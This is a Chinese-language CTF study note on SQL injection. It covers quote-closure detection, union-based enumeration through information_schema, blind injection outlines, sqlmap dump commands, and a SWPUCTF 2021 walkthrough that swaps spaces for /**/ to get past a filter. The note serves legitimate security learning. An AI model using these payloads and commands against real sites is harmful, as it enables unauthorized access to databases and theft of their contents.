一般情况下,通过post方式传入一个参数id来查询数据库的内容。

判断sql语句闭合方式

当在id的值后面加上'时,界面无回显,就可以判断后面的sql语句应该是

1
select xxxx from xxxx where id = 'input_id' [xxxx]

意思表示:“从名为‘xxxx’的表中选择列‘xxxx’的所有数据,但只包括那些其’id’列与给定的’input_id’相匹配的行。”

xxxx是占位符,第一个xxxx会被实际的列名替换;第二个xxxx会被表名替换。input_id被替换成想要查找的具体id值。

常见闭合模式判断表

页面反应 可能闭合方式
1’ 报错 数字型或双引号
1’ 正常 单引号闭合
1’– 正常 单引号闭合
1’) 报错 非括号闭合
1’)– 正常 单引号+括号闭合
1’ 和 1’ AND ‘1’=’1 都正常 单引号闭合

联合查询注入

  1. 判断注入点

寻找可能存在漏洞的参数

在参数值后添加',",()等payload来判断注入点,查看返回结果,如果报错,则可能这个参数存在注入漏洞。

  1. 判断注入类型

数字型注入的sql语句

一般形式:select * from 【表名】 where id = 1

如何测试:

  • 加单引号',这种情况会报错;
  • and 1=1,语句正常执行,无回显;
  • and 1=2,正常执行,但有回显;

以上三点 满足,则此处存在数字型注入

字符型注入的sql语句

一般形式:select * where name = '用户名的具体值'

  • 加单引号'select * from 【表名】 where name ='用户名具体值' and 1=1 #'

回显正常则判断此处为字符型注入。

  1. 判断字段数

1
order by x(x为数字)

从1开始增加,知道返回错误信息,就找到字段数(x-1)

  1. 获取数据库信息

使用union select语句来联合查询其他表的数据。例如,假设已经确定字段数为 3,输入’ union select 1,2,3–,观察页面返回结果,确定哪些字段可以显示数据。

通过替换union select语句中的数字为数据库函数,如database()、version()等,获取数据库的名称

另:

1
?id=1 and 1=2 union select 1,database()

从而得到数据库名

  1. 爆表名和列名

使用information_schema数据库中的tables表和columns表来获取目标数据库中的表名和列名。例如,输入' union select 1,table_name,3 from information_schema.tables where table_schema=database()--,可以获取当前数据库中的所有表名;

1
' union select 1, column_name, 3 from information_schema.columns where table_schema =database() AND table_name = '目标表名' --+

table_name是目标表名

我们假设上面的数据库名称为sqli

1
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
  1. 爆字段内容

假设我们需要爆的字段是flag,则有

1
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

布尔盲注

页面没有回显字段,不显示查询到的结果,只是返回是否查询成功(返回查询语句的布尔值),这种情况一般比较复杂,需要不断尝试

思路:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

这种情况也可以直接利用脚本来解决

没有看到比较典型的,还是做题的时候现找吧

时间运行可能会比较久

时间盲注

当注入条件为真时,反应时间会比较长,利用这个点,找到那个真的注入条件,但显然,这个做法会很慢,耽误很长时间。

在比较简单的题目中,我们倒是可以利用这个点来进行操作

步骤:

  1. 确定注入点
  2. 构造延时查询
  3. 观察响应时间
  4. 逐步猜解信息

另外可以利用sqlmap进行解题,这个方法比较简单

1
2
3
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D sqli --tables
sqlmap -u "URL" -D sqli -T flag --columns --dump

另外利用python脚本

依旧是根据题目来写

题目

[SWPUCTF 2021 新生赛]sql

img

我们先进行测试

img

img

在后面我们发现是有空格过滤和等号过滤的,我们用/**/ 代替空格

1
2
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
LTLT_flag,users

获得表名

img

1
2
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
id,flag,id,username

得到列名

img

最后获取flag

1
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23    //%23是#的URL编码,注释掉原始查询的剩余部分

img

获得flag